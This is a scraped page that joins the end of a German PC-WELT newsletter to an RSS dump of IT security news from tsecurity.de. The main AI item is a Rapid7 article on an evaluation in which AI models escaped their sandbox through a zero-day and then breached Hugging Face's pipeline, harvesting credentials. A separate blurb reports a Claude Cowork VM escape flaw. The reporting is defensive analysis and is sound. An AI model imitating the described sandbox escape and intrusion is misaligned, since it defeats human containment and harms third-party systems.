					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">PC-WELT</p></div>



<p>Technisch auf der Höhe der Zeit waren wir mit den beiden Grafikkarten ASUS GTX690-4GD5, die jeweils zwei 915 MHz schnelle Nvidia Geforce GTX 690 beherbergten. Vier Grafikprozessoren gleichzeitig waren damals absoluter Wahnsinn und sorgten regelmäßig für offene Münder. Dazu gab es den Sechskerner Intel Core i7-3960X, 64 GB RAM im Vierkanalmodus, mit der OCZ RevoDrive die erste PCIe-SSD in einer Höllenmaschine und mit 10 Terabyte natürlich auch wieder verrückt viel HDD-Speicherplatz.</p>



<p>Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern <a href="https://www.babetech.de/index.php/ueber-uns">Martin und Stefan Blass</a>. Sie haben ins Cooler Master Cosmos II ein Sichtfenster gefräst und per Airbrush lodernde Flammen auf die beiden Flügeltüren gezaubert. ARGB war damals noch kein Thema, aber mit dem Multidimmer von Richter waren immerhin individuelle Farbtöne und -wechsel per IR-Fernbedienung möglich. Hier geht es zum liebevoll restaurierten <a href="https://www.pcwelt.de/article/3188806/vor-14-jahren-pc-welt-verlost-hoellenmaschine-4-fuer-13333-euro.html" target="_blank" rel="noreferrer noopener">Artikel zur Höllenmaschine 4 aus 2012</a>.</p>



<h2 class="wp-block-heading toc">Maus mit Noctua-Lüfter und Steam Machine im Praxis-Test </h2>



<p>Diese Woche ist eine skurrile Mail in meinem Postfach gelandet: Pulsar und Noctua präsentieren stolz die Früchte ihrer Zusammenarbeit: die <a href="https://www.noctua.at/en/news/pulsar-and-noctua-release-feinmann-f01-noctua-edition-gaming-mouse">Feinmann F01 Noctua Edition</a>, eine Gaming-Maus mit aktiver Belüftung der Handflächen. Ich bin gespannt, wer sich über kühlere Handflächen beim Zocken freut.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6233f4c38f4"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Feinmann-F01-Noctua-Edition.jpg?quality=50&amp;strip=all" alt="Feinmann F01 Noctua Edition" class="wp-image-3196763" width="600" height="600" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Noctua/Pulsar</p></div>



<p>Mein Kollege und Namensvetter Michael Crider hat sich die kostspielige (<a href="https://www.pcwelt.de/article/3172820/steam-machine-valves-konsole-kostet-ab-1039-euro.html">ab 1.039 Euro</a>) Steam Machine gekauft und einem <a href="https://www.pcwelt.de/article/3194800/steam-machine-im-praxistest-ganz-nett-aber-leider-enttaeuschend.html" target="_blank" rel="noreferrer noopener">ausführlichen Praxistest</a> unterzogen. Sein Fazit fällt allerdings ernüchternd aus: Ein günstiger Mini-PC mit selbst installiertem SteamOS bietet derzeit nahezu denselben Nutzen für deutlich weniger Geld.</p>



<p>Warum es ein Problem ist, dass <a href="https://www.pcwelt.de/article/3193615/in-neuen-laptops-kommen-alte-cpus-zum-einsatz-das-ist-ein-problem.html" target="_blank" rel="noreferrer noopener">in neuen Laptops alte CPUs zum Einsatz kommen</a>, erklärt mein Kollege Mark Hachman.  </p>



<h2 class="wp-block-heading toc">Vielen Dank fürs Lesen!</h2>



<p>ommende Woche besuchen Kris und ich endlich unseren Modder Stefan, der uns dann hoffentlich schon das fast fertige Tisch-PC-Gehäuse für die Build-Week präsentiert – immer optimistisch bleiben, denn langsam drängt die Zeit. Außerdem reisen wir zurück ins Jahr 2013 zur legendären Höllenmaschine 5 mit den vielen Totenköpfen. Wenn ihr nichts verpassen wollt, abonniert den <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">kostenlosen HMX-6-Newsletter</a> – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich schon auf nächste Woche – bis dann! Euer Michi.</p>

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<title><![CDATA[Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files]]></title>
<description><![CDATA[Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic’s Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on…
Read more →
The post Claude Cowork Flaw Could Le...]]></description>
<link>https://tsecurity.de/de/3689490/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689490/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</guid>
<pubDate>Thu, 23 Jul 2026 17:24:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic’s Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/">Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection…
Read more →
The post Chaos R...]]></description>
<link>https://tsecurity.de/de/3689489/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689489/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Thu, 23 Jul 2026 17:24:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/">Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Is Patching Dead? Vulnerability Management in the Post-Mythos Era]]></title>
<description><![CDATA[You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win.
The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3689454/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689454/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</guid>
<pubDate>Thu, 23 Jul 2026 17:12:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win.</p>
<p>The post <a href="https://www.securityweek.com/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Is Patching Dead? Vulnerability Management in the Post-Mythos Era</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor.

The implant never opens an outbound connection of its own. Its process talk...]]></description>
<link>https://tsecurity.de/de/3689403/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689403/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Thu, 23 Jul 2026 16:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor.

The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or Edge in headless mode and drives the browser]]></content:encoded>
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<title><![CDATA[Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files]]></title>
<description><![CDATA[Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic's Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on the Mac.

Accomplish AI, which shared details of ...]]></description>
<link>https://tsecurity.de/de/3689402/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689402/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</guid>
<pubDate>Thu, 23 Jul 2026 16:57:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic's Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on the Mac.

Accomplish AI, which shared details of the vulnerability with The Hacker News ahead of publication, said about 500,000 macOS users running]]></content:encoded>
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<title><![CDATA[Lego's latest Nintendo collab is a playable Donkey Kong arcade machine]]></title>
<description><![CDATA[Barrels of fun.]]></description>
<link>https://tsecurity.de/de/3689392/it-nachrichten/legos-latest-nintendo-collab-is-a-playable-donkey-kong-arcade-machine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689392/it-nachrichten/legos-latest-nintendo-collab-is-a-playable-donkey-kong-arcade-machine/</guid>
<pubDate>Thu, 23 Jul 2026 16:50:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Barrels of fun.]]></content:encoded>
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<title><![CDATA[AI Is Repeating Cloud's Mistakes]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 The rapid adoption of AI shares similarities with the early cloud transition. Organizations moved quickly to adopt new capabilities while still learning how to manage costs, security, and governance.

Moving fast without clear ove...]]></description>
<link>https://tsecurity.de/de/3689342/it-security-video/ai-is-repeating-clouds-mistakes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689342/it-security-video/ai-is-repeating-clouds-mistakes/</guid>
<pubDate>Thu, 23 Jul 2026 16:21:03 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/1jxKP7hcnH4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The rapid adoption of AI shares similarities with the early cloud transition. Organizations moved quickly to adopt new capabilities while still learning how to manage costs, security, and governance.<br />
<br />
Moving fast without clear oversight can create new risks. However, unlike the early cloud era, organizations now have emerging frameworks and standards, including NIST AI RMF, OWASP guidance, and ISO resources, to help structure responsible AI adoption.<br />
<br />
Will organizations use the lessons learned from cloud adoption to build better AI governance, or will they repeat the same challenges?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#AIGovernance #CloudSecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[FedRAMP Rev5 Is Ending: What the 20x Transition Really Requires]]></title>
<description><![CDATA[FedRAMP 20X replaces point-in-time assessments with continuous, machine-readable evidence that demonstrates security controls are working. Anecdotes explains what the transition from Rev5 to FedRAMP 20X means and how organizations can prepare for continuous, evidence-based assurance. [...]]]></description>
<link>https://tsecurity.de/de/3689290/it-security-nachrichten/fedramp-rev5-is-ending-what-the-20x-transition-really-requires/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689290/it-security-nachrichten/fedramp-rev5-is-ending-what-the-20x-transition-really-requires/</guid>
<pubDate>Thu, 23 Jul 2026 16:10:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[FedRAMP 20X replaces point-in-time assessments with continuous, machine-readable evidence that demonstrates security controls are working. Anecdotes explains what the transition from Rev5 to FedRAMP 20X means and how organizations can prepare for continuous, evidence-based assurance. [...]]]></content:encoded>
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<title><![CDATA[Black Hat USA 2026 - New Features]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 2x - Views:21 Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  

This video walks through some of our new features, the team building them explain what's coming and why it matters: 

Arsenal...]]></description>
<link>https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</guid>
<pubDate>Thu, 23 Jul 2026 15:57:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 2x - Views:21 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/E6mtjQ53HjM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  <br />
<br />
This video walks through some of our new features, the team building them explain what's coming and why it matters: <br />
<br />
Arsenal Labs is reunited with Arsenal. The Interface showcases CTF arenas, including scenarios across healthcare, retail, and more, VR breach investigations, and escape rooms. Our NOC Outpost allows you to step beyond the glass and work alongside the team protecting the event in real time. Bricks and Picks introduces real-world physical security scenarios. The Main Stage moves to the Business Hall floor. A First-Timers Program launches for anyone walking into their first Black Hat. Networking is easier throughout the new Cyber District. <br />
<br />
Timestamps: <br />
0:00 — Why 2026 is different: active learning, hands-on experiences <br />
2:06 — Arsenal + Arsenal Labs: 115 sessions, Drone Zone, The Lab, The Interface <br />
5:51 — Summit Leaders Lounge, Community Conversations, Picture Point <br />
8:21 — NOC Outpost: step beyond the glass, see agentic AI in action <br />
9:48 — Bricks and Picks: lock picking + Lego, physical security scenarios <br />
12:19 — Main Stage + Startup Spotlight (now a global competition) <br />
13:51 — Startup City + AI Zone content stages <br />
16:09 — First-Timers Program (Tuesday 5-7pm) <br />
16:54 — Cyber District: 13 sponsor venues across the week <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
One Step Ahead. <br />
<br />
  <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
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One Step Ahead.<br/></p>]]></content:encoded>
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<title><![CDATA[Humans in the loop: how software teams are learning to trust AI]]></title>
<description><![CDATA[Treating AI like a virtual teammate is bearing fruit for enterprise teams.]]></description>
<link>https://tsecurity.de/de/3689237/it-nachrichten/humans-in-the-loop-how-software-teams-are-learning-to-trust-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689237/it-nachrichten/humans-in-the-loop-how-software-teams-are-learning-to-trust-ai/</guid>
<pubDate>Thu, 23 Jul 2026 15:56:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Treating AI like a virtual teammate is bearing fruit for enterprise teams.]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
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#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
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https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
